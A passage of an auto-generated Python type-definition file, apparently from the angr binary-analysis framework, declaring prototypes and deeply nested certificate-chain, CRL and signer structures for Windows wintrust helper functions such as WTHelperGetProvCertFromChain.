"dwStateAction": SimTypeInt(signed=False, label="WINTRUST_DATA_STATE_ACTION"), "hWVTStateData": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "pwszURLReference": SimTypePointer(SimTypeChar(label="Char"), offset=0), "dwProvFlags": SimTypeInt(signed=False, label="UInt32"), "dwUIContext": SimTypeInt(signed=False, label="WINTRUST_DATA_UICONTEXT"), "pSignatureSettings": SimTypePointer(SimTypeBottom(label="WINTRUST_SIGNATURE_SETTINGS"), offset=0)}, name="WINTRUST_DATA", pack=False, align=None), offset=0), "fOpenedFile": SimTypeInt(signed=True, label="Int32"), "hWndParent": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "pgActionID": SimTypePointer(SimTypeBottom(label="Guid"), offset=0), "hProv": SimTypePointer(SimTypeInt(signed=False, label="UInt"), label="UIntPtr", offset=0), "dwError": SimTypeInt(signed=False, label="UInt32"), "dwRegSecuritySettings": SimTypeInt(signed=False, label="UInt32"), "dwRegPolicySettings": SimTypeInt(signed=False, label="UInt32"), "psPfns": SimTypePointer(SimTypeBottom(label="CRYPT_PROVIDER_FUNCTIONS"), offset=0), "cdwTrustStepErrors": SimTypeInt(signed=False, label="UInt32"), "padwTrustStepErrors": SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), "chStores": SimTypeInt(signed=False, label="UInt32"), "pahStores": SimTypePointer(SimTypePointer(SimTypeBottom(label="Void"), offset=0), offset=0), "dwEncoding": SimTypeInt(signed=False, label="UInt32"), "hMsg": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "csSigners": SimTypeInt(signed=False, label="UInt32"), "pasSigners": SimTypePointer(SimTypeBottom(label="CRYPT_PROVIDER_SGNR"), offset=0), "csProvPrivData": SimTypeInt(signed=False, label="UInt32"), "pasProvPrivData": SimTypePointer(SimTypeBottom(label="CRYPT_PROVIDER_PRIVDATA"), offset=0), "dwSubjectChoice": SimTypeInt(signed=False, label="UInt32"), "Anonymous": SimUnion({"pPDSip": SimTypePointer(SimTypeBottom(label="PROVDATA_SIP"), offset=0)}, name="<anon>", label="None"), "pszUsageOID": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "fRecallWithState": SimTypeInt(signed=True, label="Int32"), "sftSystemTime": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "pszCTLSignerUsageOID": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "dwProvFlags": SimTypeInt(signed=False, label="UInt32"), "dwFinalError": SimTypeInt(signed=False, label="UInt32"), "pRequestUsage": SimTypePointer(SimStruct({"dwType": SimTypeInt(signed=False, label="UInt32"), "Usage": SimStruct({"cUsageIdentifier": SimTypeInt(signed=False, label="UInt32"), "rgpszUsageIdentifier": SimTypePointer(SimTypePointer(SimTypeChar(label="Byte"), offset=0), offset=0)}, name="CTL_USAGE", pack=False, align=None)}, name="CERT_USAGE_MATCH", pack=False, align=None), offset=0), "dwTrustPubSettings": SimTypeInt(signed=False, label="UInt32"), "dwUIStateFlags": SimTypeInt(signed=False, label="UInt32"), "pSigState": SimTypePointer(SimTypeBottom(label="CRYPT_PROVIDER_SIGSTATE"), offset=0), "pSigSettings": SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "dwIndex": SimTypeInt(signed=False, label="UInt32"), "dwFlags": SimTypeInt(signed=False, label="WINTRUST_SIGNATURE_SETTINGS_FLAGS"), "cSecondarySigs": SimTypeInt(signed=False, label="UInt32"), "dwVerifiedSigIndex": SimTypeInt(signed=False, label="UInt32"), "pCryptoPolicy": SimTypePointer(SimStruct({"cbSize": SimTypeInt(signed=False, label="UInt32"), "dwInfoChoice": SimTypeInt(signed=False, label="UInt32"), "Anonymous": SimUnion({"pvInfo": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "pSerializedInfo": SimTypePointer(SimStruct({"dwFlags": SimTypeInt(signed=False, label="CERT_STRONG_SIGN_FLAGS"), "pwszCNGSignHashAlgids": SimTypePointer(SimTypeChar(label="Char"), offset=0), "pwszCNGPubKeyMinBitLengths": SimTypePointer(SimTypeChar(label="Char"), offset=0)}, name="CERT_STRONG_SIGN_SERIALIZED_INFO", pack=False, align=None), offset=0), "pszOID": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="<anon>", label="None")}, name="CERT_STRONG_SIGN_PARA", pack=False, align=None), offset=0)}, name="WINTRUST_SIGNATURE_SETTINGS", pack=False, align=None), offset=0)}, name="CRYPT_PROVIDER_DATA", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=True, label="Int32"), SimTypeInt(signed=False, label="UInt32")], SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "sftVerifyAsOf": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "csCertChain": SimTypeInt(signed=False, label="UInt32"), "pasCertChain": SimTypePointer(SimTypeBottom(label="CRYPT_PROVIDER_CERT"), offset=0), "dwSignerType": SimTypeInt(signed=False, label="UInt32"), "psSigner": SimTypePointer(SimStruct({"dwVersion": SimTypeInt(signed=False, label="UInt32"), "Issuer": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "SerialNumber": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "HashAlgorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "HashEncryptionAlgorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "EncryptedHash": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "AuthAttrs": SimStruct({"cAttr": SimTypeInt(signed=False, label="UInt32"), "rgAttr": SimTypePointer(SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cValue": SimTypeInt(signed=False, label="UInt32"), "rgValue": SimTypePointer(SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), offset=0)}, name="CRYPT_ATTRIBUTE", pack=False, align=None), offset=0)}, name="CRYPT_ATTRIBUTES", pack=False, align=None), "UnauthAttrs": SimStruct({"cAttr": SimTypeInt(signed=False, label="UInt32"), "rgAttr": SimTypePointer(SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cValue": SimTypeInt(signed=False, label="UInt32"), "rgValue": SimTypePointer(SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), offset=0)}, name="CRYPT_ATTRIBUTE", pack=False, align=None), offset=0)}, name="CRYPT_ATTRIBUTES", pack=False, align=None)}, name="CMSG_SIGNER_INFO", pack=False, align=None), offset=0), "dwError": SimTypeInt(signed=False, label="UInt32"), "csCounterSigners": SimTypeInt(signed=False, label="UInt32"), "pasCounterSigners": SimTypePointer(SimTypeBottom(label="CRYPT_PROVIDER_SGNR"), offset=0), "pChainContext": SimTypePointer(SimStruct({"cbSize": SimTypeInt(signed=False, label="UInt32"), "TrustStatus": SimStruct({"dwErrorStatus": SimTypeInt(signed=False, label="UInt32"), "dwInfoStatus": SimTypeInt(signed=False, label="UInt32")}, name="CERT_TRUST_STATUS", pack=False, align=None), "cChain": SimTypeInt(signed=False, label="UInt32"), "rgpChain": SimTypePointer(SimTypePointer(SimStruct({"cbSize": SimTypeInt(signed=False, label="UInt32"), "TrustStatus": SimStruct({"dwErrorStatus": SimTypeInt(signed=False, label="UInt32"), "dwInfoStatus": SimTypeInt(signed=False, label="UInt32")}, name="CERT_TRUST_STATUS", pack=False, align=None), "cElement": SimTypeInt(signed=False, label="UInt32"), "rgpElement": SimTypePointer(SimTypePointer(SimStruct({"cbSize": SimTypeInt(signed=False, label="UInt32"), "pCertContext": SimTypePointer(SimStruct({"dwCertEncodingType": SimTypeInt(signed=False, label="UInt32"), "pbCertEncoded": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cbCertEncoded": SimTypeInt(signed=False, label="UInt32"), "pCertInfo": SimTypePointer(SimStruct({"dwVersion": SimTypeInt(signed=False, label="UInt32"), "SerialNumber": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "SignatureAlgorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "Issuer": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "NotBefore": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "NotAfter": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "Subject": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "SubjectPublicKeyInfo": SimStruct({"Algorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "PublicKey": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cUnusedBits": SimTypeInt(signed=False, label="UInt32")}, name="CRYPT_BIT_BLOB", pack=False, align=None)}, name="CERT_PUBLIC_KEY_INFO", pack=False, align=None), "IssuerUniqueId": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cUnusedBits": SimTypeInt(signed=False, label="UInt32")}, name="CRYPT_BIT_BLOB", pack=False, align=None), "SubjectUniqueId": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cUnusedBits": SimTypeInt(signed=False, label="UInt32")}, name="CRYPT_BIT_BLOB", pack=False, align=None), "cExtension": SimTypeInt(signed=False, label="UInt32"), "rgExtension": SimTypePointer(SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "fCritical": SimTypeInt(signed=True, label="Int32"), "Value": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CERT_EXTENSION", pack=False, align=None), offset=0)}, name="CERT_INFO", pack=False, align=None), offset=0), "hCertStore": SimTypePointer(SimTypeBottom(label="Void"), offset=0)}, name="CERT_CONTEXT", pack=False, align=None), offset=0), "TrustStatus": SimStruct({"dwErrorStatus": SimTypeInt(signed=False, label="UInt32"), "dwInfoStatus": SimTypeInt(signed=False, label="UInt32")}, name="CERT_TRUST_STATUS", pack=False, align=None), "pRevocationInfo": SimTypePointer(SimStruct({"cbSize": SimTypeInt(signed=False, label="UInt32"), "dwRevocationResult": SimTypeInt(signed=False, label="UInt32"), "pszRevocationOid": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "pvOidSpecificInfo": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "fHasFreshnessTime": SimTypeInt(signed=True, label="Int32"), "dwFreshnessTime": SimTypeInt(signed=False, label="UInt32"), "pCrlInfo": SimTypePointer(SimStruct({"cbSize": SimTypeInt(signed=False, label="UInt32"), "pBaseCrlContext": SimTypePointer(SimStruct({"dwCertEncodingType": SimTypeInt(signed=False, label="UInt32"), "pbCrlEncoded": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cbCrlEncoded": SimTypeInt(signed=False, label="UInt32"), "pCrlInfo": SimTypePointer(SimStruct({"dwVersion": SimTypeInt(signed=False, label="UInt32"), "SignatureAlgorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "Issuer": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "ThisUpdate": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "NextUpdate": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "cCRLEntry": SimTypeInt(signed=False, label="UInt32"), "rgCRLEntry": SimTypePointer(SimStruct({"SerialNumber": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "RevocationDate": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "cExtension": SimTypeInt(signed=False, label="UInt32"), "rgExtension": SimTypePointer(SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "fCritical": SimTypeInt(signed=True, label="Int32"), "Value": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CERT_EXTENSION", pack=False, align=None), offset=0)}, name="CRL_ENTRY", pack=False, align=None), offset=0), "cExtension": SimTypeInt(signed=False, label="UInt32"), "rgExtension": SimTypePointer(SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "fCritical": SimTypeInt(signed=True, label="Int32"), "Value": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CERT_EXTENSION", pack=False, align=None), offset=0)}, name="CRL_INFO", pack=False, align=None), offset=0), "hCertStore": SimTypePointer(SimTypeBottom(label="Void"), offset=0)}, name="CRL_CONTEXT", pack=False, align=None), offset=0), "pDeltaCrlContext": SimTypePointer(SimStruct({"dwCertEncodingType": SimTypeInt(signed=False, label="UInt32"), "pbCrlEncoded": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cbCrlEncoded": SimTypeInt(signed=False, label="UInt32"), "pCrlInfo": SimTypePointer(SimStruct({"dwVersion": SimTypeInt(signed=False, label="UInt32"), "SignatureAlgorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "Issuer": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "ThisUpdate": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "NextUpdate": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "cCRLEntry": SimTypeInt(signed=False, label="UInt32"), "rgCRLEntry": SimTypePointer(SimStruct({"SerialNumber": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "RevocationDate": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "cExtension": SimTypeInt(signed=False, label="UInt32"), "rgExtension": SimTypePointer(SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "fCritical": SimTypeInt(signed=True, label="Int32"), "Value": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CERT_EXTENSION", pack=False, align=None), offset=0)}, name="CRL_ENTRY", pack=False, align=None), offset=0), "cExtension": SimTypeInt(signed=False, label="UInt32"), "rgExtension": SimTypePointer(SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "fCritical": SimTypeInt(signed=True, label="Int32"), "Value": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CERT_EXTENSION", pack=False, align=None), offset=0)}, name="CRL_INFO", pack=False, align=None), offset=0), "hCertStore": SimTypePointer(SimTypeBottom(label="Void"), offset=0)}, name="CRL_CONTEXT", pack=False, align=None), offset=0), "pCrlEntry": SimTypePointer(SimStruct({"SerialNumber": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "RevocationDate": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "cExtension": SimTypeInt(signed=False, label="UInt32"), "rgExtension": SimTypePointer(SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "fCritical": SimTypeInt(signed=True, label="Int32"), "Value": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CERT_EXTENSION", pack=False, align=None), offset=0)}, name="CRL_ENTRY", pack=False, align=None), offset=0), "fDeltaCrlEntry": SimTypeInt(signed=True, label="Int32")}, name="CERT_REVOCATION_CRL_INFO", pack=False, align=None), offset=0)}, name="CERT_REVOCATION_INFO", pack=False, align=None), offset=0), "pIssuanceUsage": SimTypePointer(SimStruct({"cUsageIdentifier": SimTypeInt(signed=False, label="UInt32"), "rgpszUsageIdentifier": SimTypePointer(SimTypePointer(SimTypeChar(label="Byte"), offset=0), offset=0)}, name="CTL_USAGE", pack=False, align=None), offset=0), "pApplicationUsage": SimTypePointer(SimStruct({"cUsageIdentifier": SimTypeInt(signed=False, label="UInt32"), "rgpszUsageIdentifier": SimTypePointer(SimTypePointer(SimTypeChar(label="Byte"), offset=0), offset=0)}, name="CTL_USAGE", pack=False, align=None), offset=0), "pwszExtendedErrorInfo": SimTypePointer(SimTypeChar(label="Char"), offset=0)}, name="CERT_CHAIN_ELEMENT", pack=False, align=None), offset=0), offset=0), "pTrustListInfo": SimTypePointer(SimStruct({"cbSize": SimTypeInt(signed=False, label="UInt32"), "pCtlEntry": SimTypePointer(SimStruct({"SubjectIdentifier": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "cAttribute": SimTypeInt(signed=False, label="UInt32"), "rgAttribute": SimTypePointer(SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cValue": SimTypeInt(signed=False, label="UInt32"), "rgValue": SimTypePointer(SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), offset=0)}, name="CRYPT_ATTRIBUTE", pack=False, align=None), offset=0)}, name="CTL_ENTRY", pack=False, align=None), offset=0), "pCtlContext": SimTypePointer(SimStruct({"dwMsgAndCertEncodingType": SimTypeInt(signed=False, label="UInt32"), "pbCtlEncoded": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cbCtlEncoded": SimTypeInt(signed=False, label="UInt32"), "pCtlInfo": SimTypePointer(SimStruct({"dwVersion": SimTypeInt(signed=False, label="UInt32"), "SubjectUsage": SimStruct({"cUsageIdentifier": SimTypeInt(signed=False, label="UInt32"), "rgpszUsageIdentifier": SimTypePointer(SimTypePointer(SimTypeChar(label="Byte"), offset=0), offset=0)}, name="CTL_USAGE", pack=False, align=None), "ListIdentifier": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "SequenceNumber": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "ThisUpdate": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "NextUpdate": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "SubjectAlgorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "cCTLEntry": SimTypeInt(signed=False, label="UInt32"), "rgCTLEntry": SimTypePointer(SimStruct({"SubjectIdentifier": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "cAttribute": SimTypeInt(signed=False, label="UInt32"), "rgAttribute": SimTypePointer(SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cValue": SimTypeInt(signed=False, label="UInt32"), "rgValue": SimTypePointer(SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), offset=0)}, name="CRYPT_ATTRIBUTE", pack=False, align=None), offset=0)}, name="CTL_ENTRY", pack=False, align=None), offset=0), "cExtension": SimTypeInt(signed=False, label="UInt32"), "rgExtension": SimTypePointer(SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "fCritical": SimTypeInt(signed=True, label="Int32"), "Value": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CERT_EXTENSION", pack=False, align=None), offset=0)}, name="CTL_INFO", pack=False, align=None), offset=0), "hCertStore": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "hCryptMsg": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "pbCtlContent": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cbCtlContent": SimTypeInt(signed=False, label="UInt32")}, name="CTL_CONTEXT", pack=False, align=None), offset=0)}, name="CERT_TRUST_LIST_INFO", pack=False, align=None), offset=0), "fHasRevocationFreshnessTime": SimTypeInt(signed=True, label="Int32"), "dwRevocationFreshnessTime": SimTypeInt(signed=False, label="UInt32")}, name="CERT_SIMPLE_CHAIN", pack=False, align=None), offset=0), offset=0), "cLowerQualityChainContext": SimTypeInt(signed=False, label="UInt32"), "rgpLowerQualityChainContext": SimTypePointer(SimTypePointer(SimTypeBottom(label="CERT_CHAIN_CONTEXT"), offset=0), offset=0), "fHasRevocationFreshnessTime": SimTypeInt(signed=True, label="Int32"), "dwRevocationFreshnessTime": SimTypeInt(signed=False, label="UInt32"), "dwCreateFlags": SimTypeInt(signed=False, label="UInt32"), "ChainId": SimTypeBottom(label="Guid")}, name="CERT_CHAIN_CONTEXT", pack=False, align=None), offset=0)}, name="CRYPT_PROVIDER_SGNR", pack=False, align=None), offset=0), arg_names=["pProvData", "idxSigner", "fCounterSigner", "idxCounterSigner"]),
#
'WTHelperGetProvCertFromChain': SimTypeFunction([SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "sftVerifyAsOf": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "csCertChain": SimTypeInt(signed=False, label="UInt32"), "pasCertChain": SimTypePointer(SimTypeBottom(label="CRYPT_PROVIDER_CERT"), offset=0), "dwSignerType": SimTypeInt(signed=False, label="UInt32"), "psSigner": SimTypePointer(SimStruct({"dwVersion": SimTypeInt(signed=False, label="UInt32"), "Issuer": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "SerialNumber": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "HashAlgorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "HashEncryptionAlgorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "EncryptedHash": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "AuthAttrs": SimStruct({"cAttr": SimTypeInt(signed=False, label="UInt32"), "rgAttr": SimTypePointer(SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cValue": SimTypeInt(signed=False, label="UInt32"), "rgValue": SimTypePointer(SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), offset=0)}, name="CRYPT_ATTRIBUTE", pack=False, align=None), offset=0)}, name="CRYPT_ATTRIBUTES", pack=False, align=None), "UnauthAttrs": SimStruct({"cAttr": SimTypeInt(signed=False, label="UInt32"), "rgAttr": SimTypePointer(SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cValue": SimTypeInt(signed=False, label="UInt32"), "rgValue": SimTypePointer(SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), offset=0)}, name="CRYPT_ATTRIBUTE", pack=False, align=None), offset=0)}, name="CRYPT_ATTRIBUTES", pack=False, align=None)}, name="CMSG_SIGNER_INFO", pack=False, align=None), offset=0), "dwError": SimTypeInt(signed=False, 